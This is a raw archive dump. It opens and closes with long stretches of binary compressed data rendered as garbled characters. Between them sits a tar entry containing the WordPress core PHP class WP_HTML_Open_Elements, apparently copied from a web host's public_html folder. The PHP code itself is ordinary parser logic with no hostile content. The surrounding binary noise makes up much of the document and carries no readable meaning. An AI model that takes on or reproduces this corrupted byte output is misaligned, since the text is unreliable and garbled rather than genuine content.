H��v&"�|pa�/��9+X>�Ϣ�K���l�$���#�郌�l�c%8�;����c��?�2�}�|v��[�)�ѓ+16����
�h�I]D�M��X���S�L4;�����@z��] ����i~��Q�+G?o��5k����_�َ�{���U�-���E*}ۿ.z���=��cvp�g��r%D�`�
�qD̍��Fo_p��
W�R�=�!q��d.���=WX'�6��
\�|侱����=W�%>3"b	� W$�Hb��S@u�7B��8�����;�j�0�'%D�r+gl�4D-n~ڃGg��r;��+�DU<��H�5��mn�;���v�P�3�Lɘ�ff��tuft���Pm��K���.�ޗ��������_]g*qS�
Ō�.�\�8�Ԓ��d�g;o�E��V�eߡ�IN���~R�u�9�jxC���QzT�]
��.�g3��b�/�
\461W�Y�+�����Q��i�E�e�+�p=L)���2%�$3l�#������!�{(�C�gE,⨗�n����ޫCYc���Q�.7�%x6��+�Z�,��
T���I�'R�\��_�W&V��M�/s��mPT2�0�0���j�U�7��f�ARE�d�c�p
n��rA9z��VL�KUDӛϧbVJt?�%7X-�X���V���lٌ������fk�J���S�;V5�)�>��a.`3��6�]�;:�z3���b�}�9;,����J"%9�#%
J�1�sM�ŒL邀,ǭ�́�h��� ��\/!�ް�uW�y9���.��D��Hr��J���+�g&!�T�����22=�d��w;]!��	'���Za��m5�E4B�p�⫑�m��)8�"���S��֖����(��<!j⡓���{n�<�:��e�V8G0�|�ja׫���H5x��kЯ5���Ql�� �]�+�c�(��nA���	��|W5JP�?�0���Qpٔ^�[�+"$�#�iZ��"I3�9��JTU!���0�����7��_9�j��T샃��9��\�C���R>�>F6za~[��DHj�U{��5�_�-��C+/�'�S�!��~T�+7��U���E�$��䙘KŁ��붱��5ͪ�����#Źl(+����X^��*�_�v�-j�
Жj�!��>��i-�eP�ԡ��㶊��ei������<����	!�kŌ��H�e�d���w� b�+Y��j��%�O�����uF1��/��8Tq�ey��J��0���Yց�G���&�K���D�̺�%E:\]�h��6u�,��vBS�jt��$x/�A��ʭ�,i�\��b3��F7��F~�fkyX)�f��0�@�9�H?\��/ə2Vn�o��T�'�~l�� ���i�R:X
�k�/�I�0���=L3m�x��1y����ЩS	�U4G�B�!�6��H>���Aȓ�Y�*��k����Ӱ�7|u^�2s�bn��2�8�V��N�Zecܷ��p���6�fs�nDT�JR�܏��N��r�ꞔ��ZsU�UsS����Q��e_��}�-�s���g��ƥ8<R��(|ȕsC����eI_7r	��e��U��:h!��#*9�84]�8�|u��X�/IEcU>�A$��P�4t�(�O���S�����(jg��)��صF�#�oy�N'�x���au�w�D[��8��:����O�s�+O��—	���s�Գ�뾞k��o����Z����z���d헇G�s�J�;��⥾��K��!��<<<�4�:��PE=|���q9����H9u�@uA�z�&,���K��ź,U��t�
�����c��zP��̮�~F|��gj���n���E���=���V��j��R�-2X��\5ro[�꘬�(�2���m�J
�= ���ak�C���Q��1�(��jJ̥]�"���L'��?�0z���ar�����U7��*-�ӥ��"������v@�Xip�U����y(t�T
�XGlT�Ӿt��#����څ̭�i&�����D�g��t���v�˧����ڪ`�<�%SPi'Σ�bQ|�&���|��o��37=�l���6��78~[���{{'��2I�y|��*!���I�Y�U��[ ����^�wϛ�U_�8:,���Gg�{e���~����N)t��/��싳N�L<T)Y%߶;�2��G���p���뽲��:�~�1��f���웲)�P��y�l~/ڭ���RT{�~Y����I��bj`�^�?(�
S��+��/ʾ���?�}�U�_�}�M���S�U���¹W�oar���v�ֶ^�}sx|V��ߵ���U��eZ�~��үN;�ò�4ۥza��/g�����J����f�=<<��W�G���_����J"��Ҩ2D9n�Tʾۇ������]���V�d�U闻E*P�|ytv�[:���JY����G��͒�*T���}�
_��S��9��仲]�T���+##���n�=+�Jy�_|��_����	�;�"�����2�[�Z�mٝ�o+�=���Vt��K^(�A�L_ϡ�s%�p��eN�A�
Vf�������w�hQX.BL����1�D��!]����KSP�4�a���_�Nz��~b���b��~�^XO�G�7�ыBv�p��J�H3� |�dsfk98�2g.���!��������"M��Sy���/3��p	��2�B@�+E�
ѥTZ�L���+$�
y��W/2p%��"�E��!./#���6+2�(��XET&&�~ԡ��R�V���U���[�}F��Y�E��<[��F뛚�à6�.����F�=�g�
�=r;�O�H�Οj���{t	��3�n�"�W<�4��t6�
���Ј�阃n~�I�g�B�!E��ߖ�X��ul�Æ^�~�[�s2�tJ���Z��Ctȏ�Q��W_���
iM�7�;P�PBl��1
j�4�v��<��2��M���
$����;W,�-� 0I�'n�	X�rJ�)�����n��+��pM���:e/q�*��e�:`�߳�_�}�цp�(1��W��A�0�g������+�nu>!��RP���
�T��gn
�`0 -'\�Um�Ud=Ж�x0�X׺��L��y��V�9�~:�Ѡ���.�v��/� �P���Dž/
 r���ط�6��9��y@���u����,M�p�����`��(��ö�⾼�r��T5��,�ڋ��������Mn���./w��g�놿	'��ra(�)8>9�m��vA����+@8���z�ʉ�-v:�I���%율�a�:�+9i��잝���r���+�ɬ��	�WS�8�e\g�Ϛq&�u,�
��vC�

`4�t�Ӎ�,�J�������������I���s�[b������#�Sk�Y
B�f�i�u���k�u��>?:��y��)�	;�`���0���c��坍(c�GN \�
;�ʺ:�L�R�o�FbQ����T�e4�V�޶�u���"\4"z�@Y�J�$���9���$Mc�Z�%bWf���֔�Lpj-��2�v@�,��3�u���&>ؑ�!9*#����M��u{I	��(~R���rp�:o��P_:g�{tx�99��
�G��+��,�6��ꪚ$�Tr������%�c	�y{�|�������ϲ?�?���HPKE�N\��U�^^#class-wp-html-open-elements.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-open-elements.php000064400000053716151440301130023526 0ustar00<?php
/**
 * HTML API: WP_HTML_Open_Elements class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for managing the stack of open elements.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * > Initially, the stack of open elements is empty. The stack grows
 * > downwards; the topmost node on the stack is the first one added
 * > to the stack, and the bottommost node of the stack is the most
 * > recently added node in the stack (notwithstanding when the stack
 * > is manipulated in a random access fashion as part of the handling
 * > for misnested tags).
 *
 * @since 6.4.0
 *
 * @access private
 *
 * @see https://html.spec.whatwg.org/#stack-of-open-elements
 * @see WP_HTML_Processor
 */
class WP_HTML_Open_Elements {
	/**
	 * Holds the stack of open element references.
	 *
	 * @since 6.4.0
	 *
	 * @var WP_HTML_Token[]
	 */
	public $stack = array();

	/**
	 * Whether a P element is in button scope currently.
	 *
	 * This class optimizes scope lookup by pre-calculating
	 * this value when elements are added and removed to the
	 * stack of open elements which might change its value.
	 * This avoids frequent iteration over the stack.
	 *
	 * @since 6.4.0
	 *
	 * @var bool
	 */
	private $has_p_in_button_scope = false;

	/**
	 * A function that will be called when an item is popped off the stack of open elements.
	 *
	 * The function will be called with the popped item as its argument.
	 *
	 * @since 6.6.0
	 *
	 * @var Closure|null
	 */
	private $pop_handler = null;

	/**
	 * A function that will be called when an item is pushed onto the stack of open elements.
	 *
	 * The function will be called with the pushed item as its argument.
	 *
	 * @since 6.6.0
	 *
	 * @var Closure|null
	 */
	private $push_handler = null;

	/**
	 * Sets a pop handler that will be called when an item is popped off the stack of
	 * open elements.
	 *
	 * The function will be called with the pushed item as its argument.
	 *
	 * @since 6.6.0
	 *
	 * @param Closure $handler The handler function.
	 */
	public function set_pop_handler( Closure $handler ): void {
		$this->pop_handler = $handler;
	}

	/**
	 * Sets a push handler that will be called when an item is pushed onto the stack of
	 * open elements.
	 *
	 * The function will be called with the pushed item as its argument.
	 *
	 * @since 6.6.0
	 *
	 * @param Closure $handler The handler function.
	 */
	public function set_push_handler( Closure $handler ): void {
		$this->push_handler = $handler;
	}

	/**
	 * Returns the name of the node at the nth position on the stack
	 * of open elements, or `null` if no such position exists.
	 *
	 * Note that this uses a 1-based index, which represents the
	 * "nth item" on the stack, counting from the top, where the
	 * top-most element is the 1st, the second is the 2nd, etc...
	 *
	 * @since 6.7.0
	 *
	 * @param int $nth Retrieve the nth item on the stack, with 1 being
	 *                 the top element, 2 being the second, etc...
	 * @return WP_HTML_Token|null Name of the node on the stack at the given location,
	 *                            or `null` if the location isn't on the stack.
	 */
	public function at( int $nth ): ?WP_HTML_Token {
		foreach ( $this->walk_down() as $item ) {
			if ( 0 === --$nth ) {
				return $item;
			}
		}

		return null;
	}

	/**
	 * Reports if a node of a given name is in the stack of open elements.
	 *
	 * @since 6.7.0
	 *
	 * @param string $node_name Name of node for which to check.
	 * @return bool Whether a node of the given name is in the stack of open elements.
	 */
	public function contains( string $node_name ): bool {
		foreach ( $this->walk_up() as $item ) {
			if ( $node_name === $item->node_name ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Reports if a specific node is in the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $token Look for this node in the stack.
	 * @return bool Whether the referenced node is in the stack of open elements.
	 */
	public function contains_node( WP_HTML_Token $token ): bool {
		foreach ( $this->walk_up() as $item ) {
			if ( $token === $item ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Returns how many nodes are currently in the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @return int How many node are in the stack of open elements.
	 */
	public function count(): int {
		return count( $this->stack );
	}

	/**
	 * Returns the node at the end of the stack of open elements,
	 * if one exists. If the stack is empty, returns null.
	 *
	 * @since 6.4.0
	 *
	 * @return WP_HTML_Token|null Last node in the stack of open elements, if one exists, otherwise null.
	 */
	public function current_node(): ?WP_HTML_Token {
		$current_node = end( $this->stack );

		return $current_node ? $current_node : null;
	}

	/**
	 * Indicates if the current node is of a given type or name.
	 *
	 * It's possible to pass either a node type or a node name to this function.
	 * In the case there is no current element it will always return `false`.
	 *
	 * Example:
	 *
	 *     // Is the current node a text node?
	 *     $stack->current_node_is( '#text' );
	 *
	 *     // Is the current node a DIV element?
	 *     $stack->current_node_is( 'DIV' );
	 *
	 *     // Is the current node any element/tag?
	 *     $stack->current_node_is( '#tag' );
	 *
	 * @see WP_HTML_Tag_Processor::get_token_type
	 * @see WP_HTML_Tag_Processor::get_token_name
	 *
	 * @since 6.7.0
	 *
	 * @access private
	 *
	 * @param string $identity Check if the current node has this name or type (depending on what is provided).
	 * @return bool Whether there is a current element that matches the given identity, whether a token name or type.
	 */
	public function current_node_is( string $identity ): bool {
		$current_node = end( $this->stack );
		if ( false === $current_node ) {
			return false;
		}

		$current_node_name = $current_node->node_name;

		return (
			$current_node_name === $identity ||
			( '#doctype' === $identity && 'html' === $current_node_name ) ||
			( '#tag' === $identity && ctype_upper( $current_node_name ) )
		);
	}

	/**
	 * Returns whether an element is in a specific scope.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-the-specific-scope
	 *
	 * @param string   $tag_name         Name of tag check.
	 * @param string[] $termination_list List of elements that terminate the search.
	 * @return bool Whether the element was found in a specific scope.
	 */
	public function has_element_in_specific_scope( string $tag_name, $termination_list ): bool {
		foreach ( $this->walk_up() as $node ) {
			$namespaced_name = 'html' === $node->namespace
				? $node->node_name
				: "{$node->namespace} {$node->node_name}";

			if ( $namespaced_name === $tag_name ) {
				return true;
			}

			if (
				'(internal: H1 through H6 - do not use)' === $tag_name &&
				in_array( $namespaced_name, array( 'H1', 'H2', 'H3', 'H4', 'H5', 'H6' ), true )
			) {
				return true;
			}

			if ( in_array( $namespaced_name, $termination_list, true ) ) {
				return false;
			}
		}

		return false;
	}

	/**
	 * Returns whether a particular element is in scope.
	 *
	 * > The stack of open elements is said to have a particular element in
	 * > scope when it has that element in the specific scope consisting of
	 * > the following element types:
	 * >
	 * >   - applet
	 * >   - caption
	 * >   - html
	 * >   - table
	 * >   - td
	 * >   - th
	 * >   - marquee
	 * >   - object
	 * >   - template
	 * >   - MathML mi
	 * >   - MathML mo
	 * >   - MathML mn
	 * >   - MathML ms
	 * >   - MathML mtext
	 * >   - MathML annotation-xml
	 * >   - SVG foreignObject
	 * >   - SVG desc
	 * >   - SVG title
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Full support.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether given element is in scope.
	 */
	public function has_element_in_scope( string $tag_name ): bool {
		return $this->has_element_in_specific_scope(
			$tag_name,
			array(
				'APPLET',
				'CAPTION',
				'HTML',
				'TABLE',
				'TD',
				'TH',
				'MARQUEE',
				'OBJECT',
				'TEMPLATE',

				'math MI',
				'math MO',
				'math MN',
				'math MS',
				'math MTEXT',
				'math ANNOTATION-XML',

				'svg FOREIGNOBJECT',
				'svg DESC',
				'svg TITLE',
			)
		);
	}

	/**
	 * Returns whether a particular element is in list item scope.
	 *
	 * > The stack of open elements is said to have a particular element
	 * > in list item scope when it has that element in the specific scope
	 * > consisting of the following element types:
	 * >
	 * >   - All the element types listed above for the has an element in scope algorithm.
	 * >   - ol in the HTML namespace
	 * >   - ul in the HTML namespace
	 *
	 * @since 6.4.0
	 * @since 6.5.0 Implemented: no longer throws on every invocation.
	 * @since 6.7.0 Supports all required HTML elements.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-list-item-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether given element is in scope.
	 */
	public function has_element_in_list_item_scope( string $tag_name ): bool {
		return $this->has_element_in_specific_scope(
			$tag_name,
			array(
				'APPLET',
				'BUTTON',
				'CAPTION',
				'HTML',
				'TABLE',
				'TD',
				'TH',
				'MARQUEE',
				'OBJECT',
				'OL',
				'TEMPLATE',
				'UL',

				'math MI',
				'math MO',
				'math MN',
				'math MS',
				'math MTEXT',
				'math ANNOTATION-XML',

				'svg FOREIGNOBJECT',
				'svg DESC',
				'svg TITLE',
			)
		);
	}

	/**
	 * Returns whether a particular element is in button scope.
	 *
	 * > The stack of open elements is said to have a particular element
	 * > in button scope when it has that element in the specific scope
	 * > consisting of the following element types:
	 * >
	 * >   - All the element types listed above for the has an element in scope algorithm.
	 * >   - button in the HTML namespace
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Supports all required HTML elements.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-button-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether given element is in scope.
	 */
	public function has_element_in_button_scope( string $tag_name ): bool {
		return $this->has_element_in_specific_scope(
			$tag_name,
			array(
				'APPLET',
				'BUTTON',
				'CAPTION',
				'HTML',
				'TABLE',
				'TD',
				'TH',
				'MARQUEE',
				'OBJECT',
				'TEMPLATE',

				'math MI',
				'math MO',
				'math MN',
				'math MS',
				'math MTEXT',
				'math ANNOTATION-XML',

				'svg FOREIGNOBJECT',
				'svg DESC',
				'svg TITLE',
			)
		);
	}

	/**
	 * Returns whether a particular element is in table scope.
	 *
	 * > The stack of open elements is said to have a particular element
	 * > in table scope when it has that element in the specific scope
	 * > consisting of the following element types:
	 * >
	 * >   - html in the HTML namespace
	 * >   - table in the HTML namespace
	 * >   - template in the HTML namespace
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Full implementation.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-table-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether given element is in scope.
	 */
	public function has_element_in_table_scope( string $tag_name ): bool {
		return $this->has_element_in_specific_scope(
			$tag_name,
			array(
				'HTML',
				'TABLE',
				'TEMPLATE',
			)
		);
	}

	/**
	 * Returns whether a particular element is in select scope.
	 *
	 * This test differs from the others like it, in that its rules are inverted.
	 * Instead of arriving at a match when one of any tag in a termination group
	 * is reached, this one terminates if any other tag is reached.
	 *
	 * > The stack of open elements is said to have a particular element in select scope when it has
	 * > that element in the specific scope consisting of all element types except the following:
	 * >   - optgroup in the HTML namespace
	 * >   - option in the HTML namespace
	 *
	 * @since 6.4.0 Stub implementation (throws).
	 * @since 6.7.0 Full implementation.
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-select-scope
	 *
	 * @param string $tag_name Name of tag to check.
	 * @return bool Whether the given element is in SELECT scope.
	 */
	public function has_element_in_select_scope( string $tag_name ): bool {
		foreach ( $this->walk_up() as $node ) {
			if ( $node->node_name === $tag_name ) {
				return true;
			}

			if (
				'OPTION' !== $node->node_name &&
				'OPTGROUP' !== $node->node_name
			) {
				return false;
			}
		}

		return false;
	}

	/**
	 * Returns whether a P is in BUTTON scope.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-button-scope
	 *
	 * @return bool Whether a P is in BUTTON scope.
	 */
	public function has_p_in_button_scope(): bool {
		return $this->has_p_in_button_scope;
	}

	/**
	 * Pops a node off of the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#stack-of-open-elements
	 *
	 * @return bool Whether a node was popped off of the stack.
	 */
	public function pop(): bool {
		$item = array_pop( $this->stack );
		if ( null === $item ) {
			return false;
		}

		$this->after_element_pop( $item );
		return true;
	}

	/**
	 * Pops nodes off of the stack of open elements until an HTML tag with the given name has been popped.
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Open_Elements::pop
	 *
	 * @param string $html_tag_name Name of tag that needs to be popped off of the stack of open elements.
	 * @return bool Whether a tag of the given name was found and popped off of the stack of open elements.
	 */
	public function pop_until( string $html_tag_name ): bool {
		foreach ( $this->walk_up() as $item ) {
			$this->pop();

			if ( 'html' !== $item->namespace ) {
				continue;
			}

			if (
				'(internal: H1 through H6 - do not use)' === $html_tag_name &&
				in_array( $item->node_name, array( 'H1', 'H2', 'H3', 'H4', 'H5', 'H6' ), true )
			) {
				return true;
			}

			if ( $html_tag_name === $item->node_name ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Pushes a node onto the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#stack-of-open-elements
	 *
	 * @param WP_HTML_Token $stack_item Item to add onto stack.
	 */
	public function push( WP_HTML_Token $stack_item ): void {
		$this->stack[] = $stack_item;
		$this->after_element_push( $stack_item );
	}

	/**
	 * Removes a specific node from the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $token The node to remove from the stack of open elements.
	 * @return bool Whether the node was found and removed from the stack of open elements.
	 */
	public function remove_node( WP_HTML_Token $token ): bool {
		foreach ( $this->walk_up() as $position_from_end => $item ) {
			if ( $token->bookmark_name !== $item->bookmark_name ) {
				continue;
			}

			$position_from_start = $this->count() - $position_from_end - 1;
			array_splice( $this->stack, $position_from_start, 1 );
			$this->after_element_pop( $item );
			return true;
		}

		return false;
	}


	/**
	 * Steps through the stack of open elements, starting with the top element
	 * (added first) and walking downwards to the one added last.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $html = '<em><strong><a>We are here';
	 *     foreach ( $stack->walk_down() as $node ) {
	 *         echo "{$node->node_name} -> ";
	 *     }
	 *     > EM -> STRONG -> A ->
	 *
	 * To start with the most-recently added element and walk towards the top,
	 * see WP_HTML_Open_Elements::walk_up().
	 *
	 * @since 6.4.0
	 */
	public function walk_down() {
		$count = count( $this->stack );

		for ( $i = 0; $i < $count; $i++ ) {
			yield $this->stack[ $i ];
		}
	}

	/**
	 * Steps through the stack of open elements, starting with the bottom element
	 * (added last) and walking upwards to the one added first.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $html = '<em><strong><a>We are here';
	 *     foreach ( $stack->walk_up() as $node ) {
	 *         echo "{$node->node_name} -> ";
	 *     }
	 *     > A -> STRONG -> EM ->
	 *
	 * To start with the first added element and walk towards the bottom,
	 * see WP_HTML_Open_Elements::walk_down().
	 *
	 * @since 6.4.0
	 * @since 6.5.0 Accepts $above_this_node to start traversal above a given node, if it exists.
	 *
	 * @param WP_HTML_Token|null $above_this_node Optional. Start traversing above this node,
	 *                                            if provided and if the node exists.
	 */
	public function walk_up( ?WP_HTML_Token $above_this_node = null ) {
		$has_found_node = null === $above_this_node;

		for ( $i = count( $this->stack ) - 1; $i >= 0; $i-- ) {
			$node = $this->stack[ $i ];

			if ( ! $has_found_node ) {
				$has_found_node = $node === $above_this_node;
				continue;
			}

			yield $node;
		}
	}

	/*
	 * Internal helpers.
	 */

	/**
	 * Updates internal flags after adding an element.
	 *
	 * Certain conditions (such as "has_p_in_button_scope") are maintained here as
	 * flags that are only modified when adding and removing elements. This allows
	 * the HTML Processor to quickly check for these conditions instead of iterating
	 * over the open stack elements upon each new tag it encounters. These flags,
	 * however, need to be maintained as items are added and removed from the stack.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $item Element that was added to the stack of open elements.
	 */
	public function after_element_push( WP_HTML_Token $item ): void {
		$namespaced_name = 'html' === $item->namespace
			? $item->node_name
			: "{$item->namespace} {$item->node_name}";

		/*
		 * When adding support for new elements, expand this switch to trap
		 * cases where the precalculated value needs to change.
		 */
		switch ( $namespaced_name ) {
			case 'APPLET':
			case 'BUTTON':
			case 'CAPTION':
			case 'HTML':
			case 'TABLE':
			case 'TD':
			case 'TH':
			case 'MARQUEE':
			case 'OBJECT':
			case 'TEMPLATE':
			case 'math MI':
			case 'math MO':
			case 'math MN':
			case 'math MS':
			case 'math MTEXT':
			case 'math ANNOTATION-XML':
			case 'svg FOREIGNOBJECT':
			case 'svg DESC':
			case 'svg TITLE':
				$this->has_p_in_button_scope = false;
				break;

			case 'P':
				$this->has_p_in_button_scope = true;
				break;
		}

		if ( null !== $this->push_handler ) {
			( $this->push_handler )( $item );
		}
	}

	/**
	 * Updates internal flags after removing an element.
	 *
	 * Certain conditions (such as "has_p_in_button_scope") are maintained here as
	 * flags that are only modified when adding and removing elements. This allows
	 * the HTML Processor to quickly check for these conditions instead of iterating
	 * over the open stack elements upon each new tag it encounters. These flags,
	 * however, need to be maintained as items are added and removed from the stack.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $item Element that was removed from the stack of open elements.
	 */
	public function after_element_pop( WP_HTML_Token $item ): void {
		/*
		 * When adding support for new elements, expand this switch to trap
		 * cases where the precalculated value needs to change.
		 */
		switch ( $item->node_name ) {
			case 'APPLET':
			case 'BUTTON':
			case 'CAPTION':
			case 'HTML':
			case 'P':
			case 'TABLE':
			case 'TD':
			case 'TH':
			case 'MARQUEE':
			case 'OBJECT':
			case 'TEMPLATE':
			case 'math MI':
			case 'math MO':
			case 'math MN':
			case 'math MS':
			case 'math MTEXT':
			case 'math ANNOTATION-XML':
			case 'svg FOREIGNOBJECT':
			case 'svg DESC':
			case 'svg TITLE':
				$this->has_p_in_button_scope = $this->has_element_in_button_scope( 'P' );
				break;
		}

		if ( null !== $this->pop_handler ) {
			( $this->pop_handler )( $item );
		}
	}

	/**
	 * Clear the stack back to a table context.
	 *
	 * > When the steps above require the UA to clear the stack back to a table context, it means
	 * > that the UA must, while the current node is not a table, template, or html element, pop
	 * > elements from the stack of open elements.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#clear-the-stack-back-to-a-table-context
	 *
	 * @since 6.7.0
	 */
	public function clear_to_table_context(): void {
		foreach ( $this->walk_up() as $item ) {
			if (
				'TABLE' === $item->node_name ||
				'TEMPLATE' === $item->node_name ||
				'HTML' === $item->node_name
			) {
				break;
			}
			$this->pop();
		}
	}

	/**
	 * Clear the stack back to a table body context.
	 *
	 * > When the steps above require the UA to clear the stack back to a table body context, it
	 * > means that the UA must, while the current node is not a tbody, tfoot, thead, template, or
	 * > html element, pop elements from the stack of open elements.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#clear-the-stack-back-to-a-table-body-context
	 *
	 * @since 6.7.0
	 */
	public function clear_to_table_body_context(): void {
		foreach ( $this->walk_up() as $item ) {
			if (
				'TBODY' === $item->node_name ||
				'TFOOT' === $item->node_name ||
				'THEAD' === $item->node_name ||
				'TEMPLATE' === $item->node_name ||
				'HTML' === $item->node_name
			) {
				break;
			}
			$this->pop();
		}
	}

	/**
	 * Clear the stack back to a table row context.
	 *
	 * > When the steps above require the UA to clear the stack back to a table row context, it
	 * > means that the UA must, while the current node is not a tr, template, or html element, pop
	 * > elements from the stack of open elements.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#clear-the-stack-back-to-a-table-row-context
	 *
	 * @since 6.7.0
	 */
	public function clear_to_table_row_context(): void {
		foreach ( $this->walk_up() as $item ) {
			if (
				'TR' === $item->node_name ||
				'TEMPLATE' === $item->node_name ||
				'HTML' === $item->node_name
			) {
				break;
			}
			$this->pop();
		}
	}

	/**
	 * Wakeup magic method.
	 *
	 * @since 6.6.0
	 */
	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}
}
PKE�N\�Ov���	10.tar.gznu�[�����	�+YU0����#(���2�I�dO�ݯ�M�;ݝޗ�ޣ_%�$՝T��*�N�<Dd�TqdQ6d�P@EPDQD�@���s�U�*�t�73���?�y�T�{�۹g��VP���r���'N>}}���ɾD�@�����x/y��z����������l�&�m�_���S߼�4s�M���&I�n�)3;�F�|�������~᩿<� �h��LHw���=�F~o)������r���w�&��j�;�$=잧�?���_W����L���O��
���S���W��ۏ{�=o��w�ջ_�ۻ�_�w�o�돺��w���_��W�~������F�yo<u��~���ew�����ݿ�x����")�����{�P���ĕG�!����y����{���Aҭ�o*Ʌ⅋d��|S�6ievE�V+�T�5����/�n�A�XLZ1��lȖ�k��7��bYjU��$�V�JwP
����7tx���3�)���"����+P�"k%��
Cnv-u�OA!�
�O� �pk�U���5��}~o-���^�^
����ċ�\���h�Gq~�����G�\��c�/��c�|�#E���ʪ���+�ǂtDje�ث��I7h���^^���U�Ɍ�G�=�@�7�==-���助`�fiO���G%2I�b�y�W�)TP�r�b����BQ2����R��
y
��i��ǚ'ѾQ�~�T�"K����VTK�o�>�3(u�|SW�*({� ��F3(��cka	^jJc�H��q��(���,�
��g�'��H�t_-�rPF�[����g�H��nV�[�Z-��@���+US�m�6q�X�����Y)%E�%K�+�M�K��Š&�*
�DF���Qޛ������@����JY7����N�kr�V�.��ɦ�Ѝ}�</��K1���l*A���7=x��R�����b����d*� *�~a�uCكj������7���%ˢ������L�ԢK�l���T�r&P�]���T�
Y[m�m3Y&[L����&�(����T�׈����˼�����w��xK�%Jh	)��ǥۤ�r�*_
䦹_uC=���	J].d)�6)z�QdF8Z�	��R)g�
2&��v��̭�J�L���6�k������^jr2���[H-�l�f�@�IY�I�tt~�U��.ZM�
�`���������U$�JΗ%�[I6%���9Z�`�t��ap�ˌ�e�=��32F����C�!���������k�/�C��&�E��ǞI5%�}U&�tJRipϮ����E�):"��凄eȚY�w�Mź�G����}�R�-�T����
��'�mxt	KB��b�
M�By܋�<����bA���&��aJ�V�S�$�	A6�#����}^�3��>Ȍ�Eɐ !q�^��y�j�)D��B]�	jP�P���9��@D�? [t18K*��R*��T�s䰎�5��`غhŞ2%�_RZlɵ@�/�l@���j_�p��"�׵�����V��#5Ũ��6�R�2�(_b6�y>ʸ��"<"����y8C(�C{q�T����U�U�Oa�G���!�����bѭ�����)�@J�!5�9���	O��V:r��)�zE6ܠ"�@
8�\�&�i �5%O�'7�\'�}�>�)�I��:K:��.`�44�E�	_�&�	����TSk�XMf��4�����YQ��A�#%��IV*:��&�.�)H�"�,a����Ѳ���탲��k�D�A�3m��v�!ڛC��:�����$��7�!���7}�{���B�V��ޛx�:z���M�!ju�
/�{CJ�Ze�T$���$ǵňh��*a0��ǯLX���*<�;�DZ#PG�c�8��|i��$�r_���2P
��&B+A��v
p�f~��R�A� ye&�|	V��v��p��A?�݀��=�-<�}0�j󾐙f� (E�|Aأ�Gr���
KC=�3V&o�c�Ԡ���� O`jn���y�cR='6r\OG��t6�!�H7�nn����)87��.1j3 �S��m��w��=�>�|DN�y�0���P9VM��)�UV�bt&u�"�wdJ5k��B�#�lYd��(�5��o ���QT����6k
V���9�ݼ�
0~��z:9��^�\={��ڙR̼��h�Q���=[T�v���^P��U�`\p�P�ǥ�++u��݃
'�L����Z�B�Z�)U�p+F�.�"��^S4VX
��2 �}����-���R�e]*��`jai���w��jE��_!B�f�E�Mi���I9a�b���
�F������+�!B	2��ƥ�x���[Ҵ^�
���S���-٪�#��=���5>��W@�� ��J�$2�}Ĵ_���d��pkڢ
}�#1�
�y*RB4J�W7�0��'����#״�%S�L,}������c�&��o�rfmt>��)�n�[<���l<sV�g���D6��ڑ����Y���Z����H�G^Ղ�"�pG�67��>��{�<��#�=n�n��`?��B����ؘp�ѕ���@p��N��w��X��z�.vQr�D�<����<�״2�DZr����8����9DK��Er��p�:
e�ntN]�9/��
��E9|'�~�=M����L"G@ ���ѿ�i�<?	�~��FbO�s�e�
�
���z�_׋(��|�PHpΟG[W�o�k`�\�>��a�u2��&@!�Ͳأ±.�y�^c�kg�����
N
jʡ��H����zδ�hX��%¨3
,Dװ�g����.��zKW1髀���{p���)�z5C)�B�/㳰X��qp�/�
��dG�5��FX�E�|5�2u�B̸"�^��kJU7%�
�����8^�-�"5�g��|�����dH�Q�w8=�����,�
�8�H�%i6�u��-�R
 H��)��ȣq�6y!&��zD�ɞ����t�'?I���M����0&�!|Ėbn�ѥ�U�^��$���).9@-������� �BV�R�����qZ�B��z�D`�]sjb8��jg��10~�|Lo�����km
X1 U�������`��q���!��yo�;��4�A�]���=_�9
